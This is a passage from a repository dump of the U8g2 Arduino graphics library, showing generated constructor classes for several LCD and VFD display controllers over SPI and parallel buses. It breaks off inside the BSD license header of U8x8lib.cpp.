U8G2_S1D15721_240X64_2_8080 : public U8G2 { public: U8G2_S1D15721_240X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15721_240X64_F_4W_SW_SPI : public U8G2 { public: U8G2_S1D15721_240X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_S1D15721_240X64_F_4W_HW_SPI : public U8G2 { public: U8G2_S1D15721_240X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15721_240X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_S1D15721_240X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_S1D15721_240X64_F_6800 : public U8G2 { public: U8G2_S1D15721_240X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_S1D15721_240X64_F_8080 : public U8G2 { public: U8G2_S1D15721_240X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_s1d15721_240x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_128X64_1_4W_SW_SPI : public U8G2 { public: U8G2_GU800_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GU800_128X64_1_4W_HW_SPI : public U8G2 { public: U8G2_GU800_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_128X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GU800_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_128X64_1_6800 : public U8G2 { public: U8G2_GU800_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_128X64_1_8080 : public U8G2 { public: U8G2_GU800_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_128X64_2_4W_SW_SPI : public U8G2 { public: U8G2_GU800_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GU800_128X64_2_4W_HW_SPI : public U8G2 { public: U8G2_GU800_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_128X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GU800_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_128X64_2_6800 : public U8G2 { public: U8G2_GU800_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_128X64_2_8080 : public U8G2 { public: U8G2_GU800_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_128X64_F_4W_SW_SPI : public U8G2 { public: U8G2_GU800_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GU800_128X64_F_4W_HW_SPI : public U8G2 { public: U8G2_GU800_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_128X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GU800_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_128X64_F_6800 : public U8G2 { public: U8G2_GU800_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_128X64_F_8080 : public U8G2 { public: U8G2_GU800_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_160X16_1_4W_SW_SPI : public U8G2 { public: U8G2_GU800_160X16_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GU800_160X16_1_4W_HW_SPI : public U8G2 { public: U8G2_GU800_160X16_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_160X16_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GU800_160X16_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_160X16_1_6800 : public U8G2 { public: U8G2_GU800_160X16_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_160X16_1_8080 : public U8G2 { public: U8G2_GU800_160X16_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_160X16_2_4W_SW_SPI : public U8G2 { public: U8G2_GU800_160X16_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GU800_160X16_2_4W_HW_SPI : public U8G2 { public: U8G2_GU800_160X16_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_160X16_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GU800_160X16_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_160X16_2_6800 : public U8G2 { public: U8G2_GU800_160X16_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_160X16_2_8080 : public U8G2 { public: U8G2_GU800_160X16_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_160X16_F_4W_SW_SPI : public U8G2 { public: U8G2_GU800_160X16_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GU800_160X16_F_4W_HW_SPI : public U8G2 { public: U8G2_GU800_160X16_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_160X16_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GU800_160X16_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GU800_160X16_F_6800 : public U8G2 { public: U8G2_GU800_160X16_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GU800_160X16_F_8080 : public U8G2 { public: U8G2_GU800_160X16_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gu800_160x16_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_GP1287AI_256X50_1_4W_SW_SPI : public U8G2 { public: U8G2_GP1287AI_256X50_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1287ai_256x50_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GP1287AI_256X50_1_4W_HW_SPI : public U8G2 { public: U8G2_GP1287AI_256X50_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1287ai_256x50_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1287AI_256X50_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GP1287AI_256X50_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1287ai_256x50_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1287AI_256X50_2_4W_SW_SPI : public U8G2 { public: U8G2_GP1287AI_256X50_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1287ai_256x50_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GP1287AI_256X50_2_4W_HW_SPI : public U8G2 { public: U8G2_GP1287AI_256X50_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1287ai_256x50_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1287AI_256X50_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GP1287AI_256X50_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1287ai_256x50_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1287AI_256X50_F_4W_SW_SPI : public U8G2 { public: U8G2_GP1287AI_256X50_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1287ai_256x50_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GP1287AI_256X50_F_4W_HW_SPI : public U8G2 { public: U8G2_GP1287AI_256X50_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1287ai_256x50_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1287AI_256X50_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GP1287AI_256X50_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1287ai_256x50_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1247AI_253X63_1_4W_SW_SPI : public U8G2 { public: U8G2_GP1247AI_253X63_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1247ai_253x63_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GP1247AI_253X63_1_4W_HW_SPI : public U8G2 { public: U8G2_GP1247AI_253X63_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1247ai_253x63_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1247AI_253X63_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GP1247AI_253X63_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1247ai_253x63_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1247AI_253X63_2_4W_SW_SPI : public U8G2 { public: U8G2_GP1247AI_253X63_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1247ai_253x63_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GP1247AI_253X63_2_4W_HW_SPI : public U8G2 { public: U8G2_GP1247AI_253X63_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1247ai_253x63_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1247AI_253X63_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GP1247AI_253X63_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1247ai_253x63_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1247AI_253X63_F_4W_SW_SPI : public U8G2 { public: U8G2_GP1247AI_253X63_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1247ai_253x63_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_GP1247AI_253X63_F_4W_HW_SPI : public U8G2 { public: U8G2_GP1247AI_253X63_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1247ai_253x63_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_GP1247AI_253X63_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_GP1247AI_253X63_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_gp1247ai_253x63_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; /* Arduino constructor list end */ #endif // U8X8_USE_PINS class U8G2_BITMAP : public U8G2 { public: U8G2_BITMAP(uint16_t pixel_width, uint16_t pixel_height, const u8g2_cb_t *rotation) { u8g2_SetupBitmap(getU8g2(), rotation, pixel_width, pixel_height); } // This completely resets various settings, such as the // font, so be sure to re-initialize things void changeSize(uint16_t pixel_width, uint16_t pixel_height) { u8g2_SetupBitmap(getU8g2(), getU8g2()->cb, pixel_width, pixel_height); } }; #endif /* _U8G2LIB_HH */ ================================================ FILE: Bibliotecas/U8g2/src/U8x8lib.cpp ================================================ /* U8x8lib.cpp Arduino specific low level functions Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 